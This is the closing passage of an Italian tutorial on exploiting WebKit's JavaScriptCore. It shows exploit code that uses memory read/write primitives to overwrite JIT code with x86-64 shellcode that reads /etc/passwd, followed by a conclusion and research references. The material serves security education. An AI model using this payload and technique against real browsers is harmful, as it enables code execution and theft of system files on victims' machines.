// Get JIT code address debug(describe(func)) var funcAddr = memory.addrof(func); debug([+] shellcode function object @ ${funcAddr}); var executableAddr = memory.read64(Add(funcAddr, 24)); debug([+] executable instance @ ${executableAddr}); var jitCodeObjAddr = memory.read64(Add(executableAddr, 24)); debug([+] JITCode instance @ ${jitCodeObjAddr}); var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); //var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352)); debug([+] JITCode @ ${jitCodeAddr});

// Our shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]

var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);

// write shellcode shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);

// trigger and get /etc/passwd func(); print() #+end_example


  • Conclusione :PROPERTIES: :CUSTOM_ID: conclusion :END: Abbiamo dimostrato lo sfruttamento della parte più complessa del browser - il motore JavaScript. Tuttavia, il browser è enorme. Ci sono molte altre superfici d'attacco, come DOM e WASM. Alcuni ricercatori trovano anche bug nel database SQL usato dai browser che potrebbero trasformarsi in RCE. Sii paziente e sii creativo.

  • Riferimenti :PROPERTIES: :CUSTOM_ID: references :END:
  • /Groß S/, 2018, Black Hat USA, /"Attacking Client-Side JIT Compilers"/
  • /Han C/, [[https://github.com/tunz/js-vuln-db/][/"js-vuln-db"/]]
  • /Gianni A/ e /Heel1an S/, /"Exploit WebKit Heap"/
  • /Filip Pizlo/, http://www.filpizlo.com, Grazie per le numerose presentazioni!
  • /Groß S/, 2018, 35C3 CTF /WebKid Challenge/
  • /dwfault/, 2018, [[http://dwfault-blog.imwork.net:30916/2019/01/03/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/][/WebKit Debugging Skills/]]
Scarica lo strumento